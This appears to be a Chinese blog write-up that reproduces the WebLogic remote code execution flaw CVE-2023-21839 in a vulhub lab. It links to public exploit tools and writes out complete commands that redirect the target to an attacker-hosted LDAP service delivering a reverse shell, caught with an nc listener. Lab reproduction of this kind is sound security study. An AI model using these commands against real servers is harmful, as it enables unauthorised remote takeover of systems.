Weblogic远程代码执行漏洞(CVE-2023-21839)复现

yunshang_secure 2024-06-16 10:03:02 阅读 71

Cloud

Weblogic远程代码执行漏洞(CVE-2023-21839)复现

漏洞概述

Oracle WebLogic Server是美国甲骨文(Oracle)公司的一款适用于云环境和传统环境的应用服务中间件,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,并简化了应用的部署和管理。

Oracle WebLogic Server 12.2.1.3.0, 12.2.1.4.0 和 14.1.1.0.0存在安全漏洞,攻击者可利用该漏洞导致对关键数据的未授权访问或对所有 Oracle WebLogic Server 可访问数据的完全访问。

影响范围:

Oracle Weblogic Server 12.2.1.3.0

Oracle Weblogic Server 12.2.1.4.0

Oracle Weblogic Server 14.1.1.0.0

漏洞复现

1.环境搭建
1.1安装vulhub

从github上克隆:https://github.com/vulhub/vulhub.git

安装完成查看vulhub目录(有大量的环境漏洞环境)

1.2.拉取环境

☁进入对应的漏洞环境目录

cd /vulhub/weblogic

☁启动容器,拉取环境

docker-compose up -d # 首次拉取会自动下载对应配置,出现done字样即为完成

docker ps #查看开启情况

访问管理地址:

http://xx.xx.xx.xx:7001/console

ps:有些同学可能不知道账号密码(查看账密的方法:)

docker-compose logs | grep password

2.攻击环境搭建
Poc地址

https://github.com/4ra1n/CVE-2023-21839

cd cmdgo build -o CVE-2023-21839

ps:若没安装go,则需要apt-get安装一下(kali可能需要先更新源)

攻击命令:

(-ip和-port为靶机的IP和端口,-ldap里的IP都为攻击IP,前面的端口号是中转工具的默认端口,后面为导出的端口号)

./CVE-2023-21839 -ip 192.168.xxx.xx1 -port 7001 -ldap ldap://192.168.xxx.xx2:1389/Basic/ReverseShell/192.168.xxx.xx2/7892

中转工具

JNDIExploit v1.4地址:

https://github.com/WhiteHSBG/JNDIExploit/releases/tag/v1.4

ps:

rz   #从客户端上传文件到kaliunzip #解压压缩包

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.xxx.xx2

(-i为攻击机IP)

3.复现过程
1、开启中转工具监听

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.xxx.xx2

2、开启nc监听

nc -lvnp 7892

3、发动攻击

./CVE-2023-21839 -ip 192.168.xxx.xx1 -port 7001 -ldap ldap://192.168.xxx.xx2:1389/Basic/ReverseShell/192.168.xxx.xx2/7892

3.1在发动攻击时,./CVE-2023-21839这里会很快结束连接,然后在nc上会显示已成功获取shell

至此,复现结束~

总结

复现过程中,会出现各种各样报错,小伙伴多找网上文章解决,本文仅作参考。

PS:文章对小伙伴有帮助的话,点赞支持下吧~欢迎各位师傅批评指正

https://cloudmysrc.github.io/



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。